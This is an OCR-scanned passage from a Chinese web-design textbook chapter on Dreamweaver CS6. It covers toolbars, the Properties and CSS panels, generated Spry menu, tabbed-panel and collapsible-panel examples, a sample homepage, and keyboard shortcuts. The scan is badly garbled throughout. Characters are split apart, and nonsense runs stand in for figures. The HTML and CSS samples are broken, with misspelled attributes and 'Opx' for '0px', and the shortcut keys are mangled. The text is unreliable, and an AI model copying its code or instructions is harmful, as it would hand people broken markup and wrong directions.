在 这 些 工具 栏 中 ，“ 常 用 ”工具 栏 、“ 布 局 ”工具 栏 、“ 表 单 ” 工 具 栏 、“ 文 本 ”工具 栏 是 在 静 
态 网 页 设计 中 比较 常用 的 。 

1. “常用 ”工具 栏 


如 图 4-7 所 示 为 “常用 ”工具 栏 。Dreamweaver 在 启动 时 ， 会 默认 显示 “常用 ”工具 栏 。“ 常 用 ” 


[ 具 栏 中 有 以 下 了 


[ 具 。 


® 


村 从 与 网 站 建设 技术 让 


六 办 办 办 办 办 办 办 办 办 多 办 办 多多 


超级 链接 : 在 网 页 中 插入 超级 链接 。 

电子 邮件 链接 : 在 网 页 中 插入 一 个 电子 邮件 链接 。 
命名 锚 记 : 在 网 页 中 插入 一 个 命名 锚 记 。 

水 平 线 : 在 网 页 中 插入 一 条 水 平 线 。 

表格 : 在 网 页 中 插入 表格 。 

插入 Div 标签 : 在 网 页 中 插入 一 个 Div 标签 。 
图 像 : 在 网 页 中 插入 图 片 。 

媒体 : 在 网 页 中 插入 Flash、 程 序 等 媒体 。 

构件 : 在 网 页 中 插入 构件 。 

日 期 : 在 网 页 中 插入 日 期 。 

服务 器 端 包括 : 在 网 页 中 包含 一 个 文件 ， 常 用 于 动态 网 页 。 
注释 : 在 网 页 中 插入 注释 。 

文件 头 : 在 网 页 中 插入 文件 头 标签 。 

脚本 : 在 网 页 中 插入 一 个 脚本 。 

模板 : 在 网 页 中 插入 模板 。 

标签 选择 器 : 打开 标签 选择 器 。 


“布局 ”工具 栏 


如 图 4-8 所 示 为 Dreamweaver 的 “布局 ”工具 栏 。“ 布 局 ”工具 栏 主要 用 于 表格 或 段落 的 排版 。 


插入 


pa 
i 


各 国人 日 日 癌 团 全 痊 辐 回回 路 名 章 
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图 4-7 “常用 ”工具 栏 “布局 ”工具 栏 


“布局 ”工具 栏 的 工具 介绍 如 下 。 
加 ”插入 Div 标签 : 在 网 页 中 插入 Div 标签 。 
回 绘制 AP Div: 绘制 AP Div。 


@ 


办 办 办 办 办 多 
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Spry 菜单 栏 : 在 网 页 中 插入 Spry 菜单 栏 。 
Spry 选项 卡 式 面板 : 在 网 页 中 插入 Spry 选项 卡 式 面 板 。 
Spry 折 琶 式 : 在 网 页 中 插入 Spry 折合 式 层 。 
Spry 可 折 登 面板 : 在 网 页 中 插入 Spry 可 折 半 面板 。 
表格 : 在 网 页 中 插入 表格 。 
IFRAME: 在 网 页 中 插入 浮动 框架 ， 即 插入 <iframe> 包 含 网 页 。 
框架 : 在 网 页 中 插入 框架 网 页 。 


“表单 ”工具 栏 


如 图 4-9 所 示 为 Dreamweaver 的 “表单 ”工具 栏 。“ 表 单 ” 工 具 栏 主要 用 于 添加 表单 和 在 表单 中 
添加 表单 元 素 。 
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图 4-9 “表单 ”工具 栏 


“表单 ”工具 栏 的 常用 工具 介绍 如 下 。 


加 回 回 


加 


表单 : 在 网 页 中 插入 一 个 表单 。 
文本 字段 : 在 网 页 中 插入 一 个 文本 框 ， 用 于 用 户 填 写 数 据 。 
隐藏 域 : 用 于 插入 一 个 隐藏 文本 区 域 ， 用 于 网 页 间 数 据 的 传递 。 
文本 区 域 : 用 于 插入 一 个 多 行文 本 框 。 
复 选 框 : 用 于 判断 是 或 不 是 ， 复 选 框 可 以 被 组 合 在 一 起 但 不 互 斥 )， 共 用 一 个 名 称 ， 也 可 以 
共用 一 个 Name 属性 值 ， 以 实现 多 项 选择 的 功能 。 
复 选 框 组 : 用 于 插入 一 个 复 选 框 组 。 
单 选 按钮 : 插入 一 个 单 选 按钮 ， 用 于 用 户 单项 可 选 选择 。 
单 选 按钮 组 : 插入 一 个 单 选 按钮 组 ， 用 于 用 户 的 单项 选择 。 
选择 〈 列 表 / 荣 单 ): 列表 用 于 在 滚动 列表 中 显示 选项 值 ， 并 允许 用 户 在 列表 中 选择 多 个 选项 
菜单 用 于 在 弹出 式 菜单 中 显示 选项 值 ， 而 且 只 人 允许 用 户 选择 一 个 选项 。 
® 


跳 转 菜单 :插入 一 个 跳 转 菜单 ， 用 户 选择 后 会 跳 转 到 另 一 个 网 页 。 

图 像 域 : 用 于 在 表单 中 插入 一 张 交 互 图 片 。 

文件 域 : 在 表单 中 插入 一 个 文件 选择 工具 。 

按钮 : 在 表单 中 插入 按钮 。 

标签 : 在 表单 中 插入 一 个 标签 。 

字段 集 : 在 表单 中 插入 一 个 字段 集 。 表 单 中 的 字段 集 就 是 一 个 有 标题 的 文本 区 域 ， 如 图 4-10 
所 示 为 一 个 字段 集 。 


交办 办 多 
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图 4-10 表单 中 的 字段 集 


回 Spry 表单 对 象 : Dreamweaver CS6 中 有 7 个 Spry 表单 对 象 ， 它 们 位 于 图 4-9 的 最 下 端 ， 用 于 
验证 用 户 在 对 象 域 中 所 输入 的 内 容 是 否 为 有 效 的 数据 。 


4. “文本 ”工具 栏 
如 图 4-11 所 示 为 Dreamweaver 的 “文本 ”工具 栏 。“ 文 本 ”工具 栏 主要 用 于 文本 样式 的 设置 。 


图 4-11 “文本 ”工具 栏 
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“文本 ”工具 栏 中 常用 的 工具 介绍 如 下 。 
粗 体 : 设置 文本 是 否 是 粗 体 。 
斜体 : 设置 文本 是 否 是 斜体 。 

加 强 : 粗 体 显示 文本 。 

强调 : 强调 显示 文本 。 

段落 : 生成 <p> 标 签 的 段落 工具 。 
块 引用 : 以 块 引 用 的 格式 显示 文本 。 
己 编 排 格式 : 用 <pre> 标 签 显示 已 经 编排 的 格式 。 
标题 1、 标 题 2、 标 题 3: 标题 。 
项 目 列表 : 无 序 项 目 列表 。 

编号 列表 : 有 编号 的 列表 。 

列表 项 : 在 列表 中 的 列表 内 容 。 
dl: 定义 列表 。 

dt: 定义 术语 。 

dd: 定义 说 明 。 

br: 插入 特殊 符号 。 


4.2.4 “属性 ”面板 
单 击 或 选择 网 页 中 的 某 个 对 象 以 后 ，Dreamweaver CS6 的 下 部 会 出 现 与 这 个 对 象 有 关 的 “属性 ” 


面板 , 可 以 很 方便 地 在 “属性 ”面板 上 设置 所 选 对 象 的 属性 。 如 图 4-12 所 示 是 选择 一 个 表格 以 后 的 “ 属 
性 ”面板 。 在 这 个 “属性 ”面板 中 可 以 很 方便 地 对 表格 的 大 小 、 样 式 等 内 容 进行 设置 。 


因 办 办 办 办 办 办 办 办 办 办 凶 国 外 轨 


四 者 行 BT | 离 m60 [像素 “=] 博克 | 对齐 内 [区 人 关中 无 5 
tsbltl ~ 列 ) 2 间距 G) 边 匡 @) 1 


Be 


-入 己 


图 4-12 表格 的 “属性 ”面板 


选择 不 同 的 网 页 元 素 时 , “属性 ”面板 是 不 同 的。 例如 ， 选 择 一 张 图 片 时 的 “属性 ”面板 如 图 4-13 
所 示 。 


尾 性 
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图 4-13 图 片 的 “属性 ”面板 
4.2.5 “CSS 属性 ”面板 


CSS (Cascading Style Sheets) ， 译 作 “ 层 盖 样 式 表 ”， 简 称 样式 表 ， 它 是 一 种 较 新 的 网 页 技术 ， 是 
一 种 有 别 于 HTML 代码 的 标记 网 页 版 面 的 技术 。 
Dreamweaver 提供 了 功能 强大 的 样式 表 编 辑 功能 ， 借 助 于 样式 表 编 辑 工具 ， 可 以 在 不 编写 代码 的 


情况 下 完成 各 种 样式 表 。 单 击 CSS 标签 , 再 单 击 “CSS 样式 ”标签 , 即 可 展开 样式 表 编 辑 器 ， 如 图 4-14 
所 示 。 

在 CSS 标签 中 ， 右 击 一 个 样式 ， 在 弹出 的 快捷 菜单 中 选择 “编辑 ”命令 ， 即 可 对 一 个 样式 进行 编 
辑 。 样 式 编辑 对 话 框 如 图 4-15 所 示 。 


Font-fomily(): 
Font-size G) = 区 rmtviatm 
Font-style (T) - Font-variant V) 
Line-height (I) i 7 Text-transforn(R) 
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加 winkxo) 
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图 4-14 CSS 标签 图 4-15 CSS 样式 编辑 
4.2.6 工具 使 用 示例 : 插入 下 拉 菜 单 


Dreamweaver CS6 提供 了 功能 强大 的 所 见 所 得 的 编辑 功能 。 有 很 多 需要 用 JavaScript 来 编程 的 交互 
功能 都 可 以 使 用 Dreamweaver CS6 的 自动 生成 功能 完成 。 
如 果 需 要 在 网 页 中 插入 类 似 应 用 程序 一 样 的 下 拉 菜 单 ， 可 以 使 用 JavaScript 的 编码 来 实现 。 
Dreamweaver CS6 提供 了 方便 的 下 拉 菜 单 生成 工具 。 
(1) 在 Dreamweaver CS6 中 选择 “文件 ”| “新 建 ” 命 令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 选择 
“空白 页 ”选项 ,在 “页 面 类 型 ” 列表 中 选择 HTML 选项 , 在“ 层 ”列表 中 选择 “无 ”选项 ， 单 击 “ 创 
建 ” 按 钮 ， 新 建 一 个 HTML 文件 。 
(2) 在 “插入 ”面板 中 选择 “布局 ”工具 栏 ， 单 击 “Spry 菜单 栏 ” 工 具 ， 在 网 页 中 插入 一 个 菜单 。 
在 显示 的 对 话 框 中 选中 “水 平 ” 单 选 按钮 ， 单 击 “ 确 定 ” 按 钮 ， 如 图 4-16 所 示 ， 即 可 生成 一 个 下 拉 
菜单 。 


请 才 择 所 圭 的 布局 。 


er 


图 4-16 “Spry 菜单 栏 ” 对 话 框 
(3) 在 设计 视图 中 输入 文本 ， 更 改 下 拉 菜 单 的 按钮 项 ， 如 图 4-17 所 示 。 
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第 4 章 熟悉 Dreamweaver CS6 的 工作 未 境 


,PR PE Ps Es PE Ps Bt BE 


-| 仿生 项 目 3 -| 项 目 4 


4-17 更 改 下 拉 菜 单 的 按钮 项 


(4) 在 代码 中 更 改 下 拉 菜 单 的 下 拉 项 和 链接 地 址 ， 如 图 4-18 所 示 。 

(5) 选择 “文件 ”| “另存 为 ”命令 ， 在 弹出 的 “另存 为 ”对 话 框 中 设置 文件 的 保存 目录 和 文件 
名 ， 单 击 “ 保 在” 按钮 ， 保 存 网 页 。 

(6) 按 F12 键 运行 网 页 ， 网 页 的 运行 效果 如 图 4-19 所 示 。 


EB TiS - Windows Internet Explorer 区 [3 
OO le eworawte-ndn -| xl 三 sm pr 
[Fem Grime | 合 - 国 - 呈 册 "2 
罗 术 /eos/1> 本 
Ba fem nsonm hyntaogr 要 cr 打开 
< fr> 项 目 3.1,1 /li 关闭 
<liy<a href="#"> 项 目 3.1,2</ep</li> 
人 sepa HEN GC。 而 ”Rio0% >。 | 
图 4-18 在 代码 中 编辑 下 拉 菜 单 的 下 拉 项 和 链接 地 址 图 4-19 下 拉 菜 单 的 运行 效果 


上 述 示例 中 ， 实 际 上 是 Dreamweaver CS6 自动 生成 了 下 拉 菜 单 的 代码 和 几 个 JavaScript 文件 ， 
Dreamweaver CS6 自动 完成 了 JavaScript 文件 的 链接 和 函数 的 调用 。 网 页 的 代码 如 下 : 


<html xmIns="http://www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content= "text/html; charset=utf-8" /> 
<title> 下 拉 菜 单 </title> 

<script src="SpryAssets/SpryMenuBar.js" type="text/javascript"></script> 

<I-- 这 里 自动 链接 了 Dreamweaver CS6 生成 的 菜单 脚本 代码 -> 

<link href="SpryAssets/SpryMenuBarHorizontal.css" rel="stylesheet" type="text/css" /> 


</head> 
<body> 
<ul id="MenuBar1" class="MenuBarHorizontal"> 
<li><a class="MenuBarltemSubmenu" href="#'> 文 件 </a> <!- 第 一 个 下 拉 菜 单 -> 
<ul> <I-- 下 拉 项 列表 --> 


<li><a href="#"> 打 开 </a></li> 
<li><a href="#'> 保 存 </a></li> 
<li><a href="#'> 关 闭 </a></li> 


</ul> 
</li> 
<li><a href="#'> 编 辑 </a></li> <!- 第 二 个 下 拉 菜 单 --> 
<li><a class="MenuBarltemSubmenu" href="##> 查 看 </a> <!I- 下 拉 项 列表 --> 
<ul> 
<li><a class="MenuBarltemSubmenu" href="#'> 项 目 3.1</a> 


<Ul> 


和 RRs meas 


<li><a href="#'> 项 目 3.1.1</a></li> 
<li><a href="##' > 项目 3.1.2</a></li> 
</ul> 
</li> 
<li><a href="#'> 项 目 3.2</a></li> 
<li><a href="#"> 项 目 3.3</a></li> 
</ul> 
</li> 
<li><a href=" 妆 > 帮助 </a></li> 
</ul> 
<script type="text/javascript"> 
< 
var MenuBar1 = new Spry.Widget.MenuBar("MenuBar1", {imgDown:"SpryAssets/SpryMenuBarDownHover.gif", 
imgRight:"SpryAssets/SpryMenuBarRightHover.gif"}); 
// 这 里 是 Dreamweaver CS6 中 自动 生成 的 脚本 代码 
—></script> 
</body> 
</html> 


4.2.7 ”工具 使 用 示例 : 插入 选项 卡 式 面板 


在 Dreamweaver CS6 中 可 以 自动 生成 类 似 应 用 程序 的 标签 选择 面板 。 这 种 面板 是 用 JavaScript 代码 
来 控制 的 。Dreamweaver CS6 可 以 自动 生成 相关 的 JavaScript 文件 和 调用 图 层 控制 函数 。 

(1) 在 Dreamweaver CS6 中 ， 选 择 “ 文 件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 选 
择 “ 空 白 页 ”选项 ， 在 “页 面 类 型 ”列表 中 选择 HTML 选项 ， 在 “ 层 ” 列 表 中 选择 “无 ”选项 ， 单 击 
“创建 ”按钮 ， 新 建 一 个 HTML 文件 。 

(2) 在 “插入 ”面板 中 选择 “布局 ”工具 栏 ， 单 击 “Spry 选项 卡 式 面板 ”工具 驾 ， 即 可 在 网 页 中 
插入 一 个 选项 卡 式 面板 ， 如 图 4-20 所 示 。 


图 4-21 更 改选 项 卡 式 面板 的 文字 
(4) 编辑 选项 卡 式 面板 的 内 容 。 选 项 卡 式 面板 可 以 看 作 是 一 个 图 层 ， 选 择 这 一 个 图 层 以 后 ， 可 以 


在 


面板 中 插入 网 页 内 容 。 双 击 另 一 个 选项 卡 ， 可 以 编辑 另 一 个 选项 卡 的 内 容 ， 如 图 4-22 所 示 。 
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图 4-22 编辑 选项 卡 式 面板 的 内 容 


(5) 保存 网 页 。 选 择 “ 文 件 ”| “另存 为 ”命令 ， 在 弹出 的 “另存 为 ”对 话 框 中 设置 文件 的 保存 
目录 和 文件 名 ， 单 击 “ 保 存 ” 按 钮 ， 完 成 保存 。 

(6) 按 F12 键 运行 网 页 ， 网 页 的 运行 效果 如 图 4-23 所 示 。 选 择 另 一 个 选项 卡 ， 可 以 显示 另 一 
选项 卡 式 面板 中 的 内 容 ， 效 果 如 图 4-24 所 示 。 


图 4-23 选项 卡 面板 的 效果 图 4-24 选择 另 一 个 选项 卡 


上 述 示例 中 , 实际 上 是 用 Dreamweaver CS6 自动 生成 了 JavaScript 代码 对 <DIV> 标 签 的 控制 。 这 个 
页 的 代码 如 下 : 


<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 标 签 面板 </title> 
<script src="SpryAssets/SpryTabbedPanels.js" type="text/javascript"></script> 
<link href="SpryAssets/SpryTabbedPanels.css" rel="stylesheet" type="text/css" /> 
</head> 
<| 
<div id="TabbedPanels1" class="TabbedPanels"> 

<ul class="TabbedPanelsTabGroup"> 

<liclass="TabbedPanelsTab" tabindex="0"> 我 的 文章 </li> 
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<liclass="TabbedPanelsTab" tabindex="0"> 我 的 照片 </li> 
</ul> 
<div class="TabbedPanelsContentGroup"> 
<div class="TabbedPanelsContent"> <!- 一 个 标签 的 内 容 --> 
<p> 我 的 文章 </p> 
<p> 标 签 1 的 内 容 <br /> 
<img src="eg/images/1.gif’ width="140" height="105" /></p> 
</div> 
<div class="TabbedPanelsContent"> < 上 - 另 一 个 标签 的 内 容 --> 
<p> 照 片 </p> 
<p> 标 签 2 的 内 容 <br /> 
<img src="eg/images/4.gif" width="139" height="104" /></p> 
</div> 
</div> 
</div> 
<script type="text/javascript"> 
<|- 
var TabbedPanels1 = new Spry.Widget.TabbedPanels("TabbedPanels1"); 
<!- 自 动 调用 JavaScript 控制 脚本 --> 
I--> 
</script> 
</body> 
</html> 


4.2.8 工具 使 用 示例 : 插入 可 折叠 面板 


用 户 在 浏览 网 页 时 ， 可 以 灵活 地 使 用 可 折 登 面板 来 控制 网 页 的 布局 ， 且 Dreamweaver CS6 可 以 自 
动 生成 网 页 可 折 营 面板 的 代码 。 

(1) 在 Dreamweaver CS6 中 ,选择 “文件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 选 
择 “ 空 白 页 ”选项 ， 在 “页 面 类 型 ”列表 中 选择 HTML 选项 ， 在 “ 层 ” 列 表 中 选择 “无 ”选项 ， 单 击 
“创建 ”按钮 ， 新 建 一 个 HTML 文件 。 

(2) 在 “插入 ”工具 栏 中 选择 “布局 ”工具 栏 ， 单 击 “Spry 可 折 倒 面板 ”工具 ， 在 网 页 中 插入 
一 个 可 折 革 面板， 初始 内 容 如 图 4-25 所 示 。 


[a 多 本 [5 a 


图 4-25 ”网 页 折 又 面板 的 初始 内 容 


(3) 在 Dreamweaver 的 设计 视图 中 编辑 可 折 琶 面板 的 标题 和 内 容 ， 如 图 4-26 所 示 。 用 与 步骤 (2) 
同样 的 方法 添加 和 设置 男 一 个 可 折 又 面板 的 内 容 。 

(4) 选择 “文件 ”| “另存 为 ”命令 ,在 弹出 的 “另存 为 ”对 话 框 中 设置 文件 的 保存 目录 和 文件 
名 ， 单 击 “ 保 存 ” 按 钮 ， 完 成 保存 。 

(5) 按 F12 键 运行 网 页 ， 网 页 的 运行 效果 如 图 4-27 所 示 。 


@ 


折 梧 面板 的 内 容 


图 4-26 编辑 可 折 又 面板 的 标题 和 内 容 
(6) 单 击 可 折 革 面板 标题 ， 可 折 又 两 个 面板 的 内 容 。 再 单 击 标题 ， 可 展开 两 个 面板 的 内 容 。 可 折 


车 面 板 的 控制 效果 如 图 4-28 和 图 4-29 所 示 。 
可 折 可 面板- s 
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图 4-27 可 折合 面板 的 运行 效果 
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图 4-28 可 折 共 面板 控制 网 页 的 布局 
El 
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| 可 折 委 面板 的 内 容 
这 里 是 可 折 要 面板 的 内 容 


可 折 到 面板 2 的 内 容 
这 里 是 可 折 委 面板 的 内 容 


可 折 梧 面板 以 外 的 文本 


潮 计算 机 | 保护 模式 : 杖 用 


4-29 可 折叠 面板 显示 隐藏 的 内 容 
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本 示例 中 , 网 页 中 的 可 折 又 面板 是 Dreamweaver 自动 生成 的 JavaScript 代码 对 网 页 <DIV> 标 签 的 控 
网 页 的 代码 如 下 : 


<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 可 折叠 面 板 </title> 
<script src="SpryAssets/SpryCollapsiblePaneljs" type="textjavascript'></script> 
<link href="SpryAssets/SpryCollapsiblePanel.css" rel="stylesheet type="text/css" /> 
</head> 
<body> 
<div id="CollapsiblePanel1" class="CollapsiblePanel"> 
<div class="CollapsiblePanelTab" tabindex="0"> 折 全 面板 1</div> 
<div class="CollapsiblePanelContent"> 
<p> 可 折叠 面板 的 内 容 </p> 
<p> 这 里 是 可 折合 面板 的 内 容 <br /> 
<img src="eg/images/4.gif" width="139" height="104" /></p> 
</div> 
</div> 
<div id="CollapsiblePanel2" class="CollapsiblePanel"> 
<div class="CollapsiblePanelTab" tabindex="0"> 折 又 面板 2</div> 
<div class="CollapsiblePanelContent"> 
<p> 可 折 难 面板 2 的 内 容 </p> 
<p> 这 里 是 可 折叠 面板 的 内 容 <br /> 
<img src="eg/images/1.gif" width="140" height="105" /></p> 
</div> 
</div> 
可 折合 面板 以 外 的 文本 
<script type="text/javascript"> 
ei 
var CollapsiblePanel1 = new Spry.Widget.CollapsiblePanel("CollapsiblePane!l1"); 
var CollapsiblePanel2 = new Spry.Widget.CollapsiblePanel("CollapsiblePanel2");//--> 
</script> 
</body> 
</html> 


4.3 ”使 用 Dreamweaver CS6 制作 一 个 页 面 


Dreamweaver 的 “所 见 即 所 得 ”的 编辑 功能 使 网 页 的 设计 不 再 复杂 , 用 户 可 以 方便 地 使 用 Dreamweaver 
编辑 出 各 种 网 页 。 本 节 详 细 讲 解 新 建 一 个 网 页 的 步骤 和 方法 。 
(1) 如 图 4-30 所 示 ， 在 Dreamweaver CS6 欢迎 界面 中 单 击 “ 新 建 ”文本 下 的 HTML 按钮 ， 新 建 


一 个 网 页 。 网 页 可 以 使 用 不 同 的 开发 编程 技术 ， 选 择 需要 新 建 网 页 的 种 类 。 


网 页 


(2) 设置 网 页 的 标题 。 在 Dreamweaver CS6 的 标题 栏 中 设置 网 页 的 标题 ， 如 图 4-31 所 示 。 设 置 
的 标题 以 后 ， 网 页 的 HTML 代码 会 自动 生成 <title> 标 签 中 的 内 容 。 例 如 下 面 的 代码 : 
<title> 我 的 个 人 主页 </title> 
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图 4-30 在 Dreamweaver CS6 中 新 建 一 个 HIML 网 页 


WN EEE Ea 于 区 | CE 国 @ | 二 
图 4-31 设置 网 页 的 标题 
(3) 在 新 建 网 页 的 设计 视图 中 ， 右 击 网 页 空白 部 分 ,在 弹出 的 快捷 菜单 中 选择 “网 页 属性 ”命令 ， 
在 弹出 的 “网 页 属性 ”对 话 框 中 可 以 设置 网 页 的 各 种 属性 。 在 网 页 属性 上 可 以 对 网 页 中 的 文本 、 背 景 、 
超级 链接 的 样式 进行 设置 。 如 图 4-32 所 示 ， 选 择 所 有 设置 ， 单 击 “ 确 定 ” 按 钮 。 
(4) 可 以 在 “页 面 属 性 ”对 话 框 中 设置 网 页 中 的 链接 和 已 经 访问 的 链接 的 颜色 ， 如 图 4-33 所 示 。 
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图 4-32 网 页 属性 的 设置 图 4-33 设置 链接 的 属性 


(5) 准备 网 站 的 素材 。 网 页 上 需要 一 些 图 片 、 文 本 等 素材 ， 这 些 素材 可 以 从 网 络 上 复制 ， 也 可 以 
使 用 自己 的 文章 、 自 己 拍摄 的 图 片 、 自 己 设计 的 作品 等 内 容 。 需 要 对 这 些 素材 进行 整理 ， 图 片 要 处 理 
成 网 页 所 需要 图 片 的 大 小 。 

(6) 选择 “插入 ”| “表格 ”命令 ,插入 一 个 表格 。“ 表 格 ” 对 话 框 如 图 4-34 所 示 ， 在 “表格 
宽度 ”文本 框 中 输入 “760”, 在 “ 行 数 ”文本 框 中 输入 “1”， 在 “ 列 ”文本 框 中 输入 “1”, 单 击 “ 确 


@ 


定 ” 按 钮 ， 完 成 表格 的 插入 。 
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4-34 插入 一 个 表格 


(7) 要 在 网 页 中 实现 一 个 区 域 的 背景 图 片 ， 需 要 把 这 个 图 片 作 为 表格 的 背景 。 选 择 这 个 表格 ， 在 
表格 的 “属性 ”面板 中 设置 表格 的 宽度 和 高 度 。 右 击 网 页 空白 部 分 ， 在 弹出 的 快捷 菜单 中 选择 “编辑 
标签 ”命令 ， 在 弹出 的 “标签 编辑 器 ”对 话 框 中 选择 “浏览 器 特定 的 ”选项 ， 再 单 击 “ 浏 览 ”按钮 ， 
在 图 片 浏览 对 话 框 中 选择 一 张 图 片 ， 单 击 “ 确 定 ” 按 钮 ， 完 成 设置 ， 如 图 4-35 所 示 。 
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图 4-35 “标签 编辑 器 ”对 话 框 

(8) 为 表格 设置 背景 图 片 ， 效 果 如 图 4-36 所 示 。 

(9) 在 表格 中 继续 插入 其 他 表格 ， 用 表格 把 网 页 中 的 内 容 划分 为 不 同 的 区 域 。 在 不 同 的 区 域 输入 
需要 的 文本 、 插 入 导航 条 链接 。 在 表格 中 插入 所 准备 的 图 片 ， 排 列 整齐 ， 插 入 需要 的 链接 ， 如 图 4-37 
所 示 。 

(10) 保存 网 页 。 选 择 “ 文 件 ”| “另存 为 ”命令 ， 在 弹出 的 “另存 为 ”对 话 框 中 设置 文件 的 保 
存 目 录 和 文件 名 ， 单 击 “ 保 存 ” 按 钮 ， 完 成 保存 。 
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图 4-36 为 表格 设置 背景 图 片 4-37 在 Dreamweaver CS6 中 进行 网 页 排版 


(11) 按 F12 键 运行 网 页 ， 网 页 效果 如 图 4-38 所 示 。 


我 们 欢笑 ”我们 快乐 
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我 的 作品 联系 方式 


Very quietly T take my leave 
As quietly as I came here; 


Quietly I wave good-bye 
To the rosy clouds in the western sky. 


The golden willows by the riverside 
Are young brides in the setting sun; 
Their reflections on the shimmering waves 
Always linger in the depth of my heart 


图 4-38 网 页 运行 效果 


本 示例 网 页 的 代码 如 下 : 


<html xmiIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 


给 磺 100% ~ 
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<title> 我 的 个 人 主页 </title> 
<style type="text/css"> 
< 让 网 页 的 样式 表 */ 
body,td,th { 
font-size: 14px; 
color #333333;} 
body{ 
background-color: 证 FFFFF; 
margin-left: Opx; 
margin-top: 5px; 
margin-right: Opx;} 
af 
font-size: 14px; 
color: #000099;} 
alink{ 
text-decoration: none;} 


avisited { 
text-decoration: none;} 
a:hover { 
text-decoration: none;} 
aactive{ 
text-decoration: none;}--></style> 
</head> 
<body> 
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0" background="images/back.jpg"> 
<tr> <!- 上 一 行 表格 的 背景 实现 网 页 的 效果 --> 
<td height="570"><table width="760" border="0" cellpadding="0" cellspacing="0"> 
<tr> <!- 表 格 的 嵌 套 --> 
<td height="162"><table width="700" height="73" border="0"> 
<tr> 
<td width="316">&nbsp;</td> 
<td width="374"><p><br /> 我 们 欢笑 ”我 们 快乐 </p> <p> 因 为 我 们 年 轻 </p></td> </tr> 
</table></td> </tr> 
<tr> 
<td height="42"><table width="760" border="1" cellpadding="0" cellspacing="4" bordercolor="#0033FF"> 
<tr> <!- 网 页 的 导航 条 一 > 
<td bordercolor="#330033"><div align="center"><a href="a"> 首 页 </a></div></td> 
<td bordercolor="#330033"><div align="center"><a href="e"> 我 的 作品 </a></div></td> 
<td bordercolor="#330033"><div align="center"><a href="e"> 联 系 方式 </a></div></td> 
<td bordercolor="#330033"><div align="center"><a href="E"> 我 的 文章 </a></div></td> 
<td bordercolor="#330033"><div align="center"><a href="g"> 给 我 留言 </a></div></td> 
</tr></table></td> </tr> 
<tr> 
<td height="134"><table width="600" border="0" align="center"> 
<tr> <!- 下 面 是 网 页 的 文本 -> 
<td height="167"><p>Very quietly | take my leave <br /> 
As quietly as | came here; <br /> Quietly | wave good-bye <br /> 
To the rosy clouds in the western sky. </p><p>The golden willows by the riverside <br /> 
Are young brides in the setting sun; <br /> Their reflections on the shimmering waves <br /> 
Always linger in the depth of my heart. <br /></p></td></tr> </table></td> </tr> 
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<tr> 
<td height="89"><table width="715" border="1" align="center" cellspacing="4" bordercolor='#FF9999"> 
<tr> <I- 下 面 是 单元 格 中 的 图 片 -> 


<td height="127”bordercolor="#CC0033"><div align="center><img src="images/4.gif' width= 
"139" height="104" /></div></td> 
<td bordercolor="#CC0033"><div align="center"><img src="images/2.gif” width="139" height= 
"104" /></div></td> 
<td bordercolor="#CC0033"><div align="center"><img src="images/3.gif" width="139”height= 
"104" /></div></td> 
<td bordercolor="#CC0033"><div align="center"><img src="images/1.gif" width="139”height= 
"104" /></div></td> </tr> 
<tr> <!- 下 面 是 网 页 中 的 超级 链接 --> 
<td bordercolor="#CC0033"><div align="center"><a href="1.htm"> 我 的 家 乡 </a></div></td> 
<td bordercolor="#CC0033"><div align="center"><a href="2.htm"> 我 的 故事 </a></div></td> 
<td bordercolor="#CC0033"><div align="center"><a href="3.htm"> 音 乐天 空 </a></div></td> 
<td bordercolor="#CC0033"><div align="center"><a href="4.htm"> 我 的 作品 </a></div></td> 
</tr> </table></td> 
</tr> </table></td> 
</tr></table> 
</body> 
</html> 


4.4 Dreamweaver CS6 的 使 用 技巧 


Dreamweaver 有 一 些 使 用 技巧 ， 灵 活 地 使 用 这 些 技巧 可 以 使 工作 变 得 更 加 快捷 ， 加 快 网 页 的 设计 
速度 。 


4.4.1 Dreamweaver 中 常用 的 快捷 方式 


Dreamweaver 中 有 许多 快捷 方式 ， 这 些 快捷 方式 使 用 非常 方便 。 除 了 系统 与 一 般 软 件 常用 的 快捷 
方式 外 ，Dreamweaver 还 有 如 下 快捷 方式 。 

回 ShifttCtlHV: 粘贴 HTML 文本 。 在 Dreamweaver 的 代码 视图 中 复制 的 代码 ， 在 设计 视图 中 
粘贴 时 ， 用 Shiftt+CtrltV 组 合 键 可 以 直接 粘贴 出 HTML 代码 所 对 应 的 设计 内 容 ， 而 不 是 粘贴 
代码 。 

Shift+F8: 检查 链接 。 

Shift+Ctrlt+<: 选择 父 标签 。 

ShiftrCtrl+>: 选择 子 标签 。 

ShiftrCtrlH]: 右 缩 进 代 码 。 

Shift+Ctrl+[: 左 缩 进 代码 。 

Shiftr+Ctrl+F6: 标准 视图 。 

Ctrl+F6: 布局 视图 。 
ShifttCtri+T: 工具 条 。 
Shiftt+CtrHI: 可 视 化 助理 。 


加 回回 轿 加 回回 回回 
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CtrlHAltrR: 标尺 。 

Ctrl+AltrG: 显示 网 格 。 

Shift+Ctri+Alt+G: 靠 齐 到 网 格 。 
ShifttCtrHH+W: 头 内 容 。 

Shiftr+Ctrl+J: 页 面 属 性 。 

Ctrlt+Tab: 切换 到 设计 视图 。 

Ctrl+T: 打开 快速 标签 编辑 器 。 

Enter: 创建 新 段落 。 

Shift+Enter: 插入 换行 。 

Shift+Ctrl+Space bar: 插入 不 换行 空格 。 
Ctrl+ 拖 动 选取 项 目 到 新 位 置 : 复制 文本 或 对 象 到 页 面 其 他 位 置 。 
ShiftrCtrl+B: 将 选 定 项 目 添 加 到 库 。 
CtrltTab: 在 设计 视图 和 代码 编辑 器 之 间 切 换 。 
ShiftrCtrl+J: 打开 和 关闭 属性 检查 器 。 
ShifttF7: 检查 拼写 。 

Shift+Ctrl+Alt+L: 对 齐 > 左 对 齐 。 
Shift+Ctrl+AltrC: 对 齐 > 居中 。 
ShiftrCtrl+Alt+R: 对 齐 > 右 对 齐 。 

Ctrl+B: 加 粗 选 定 文本 。 

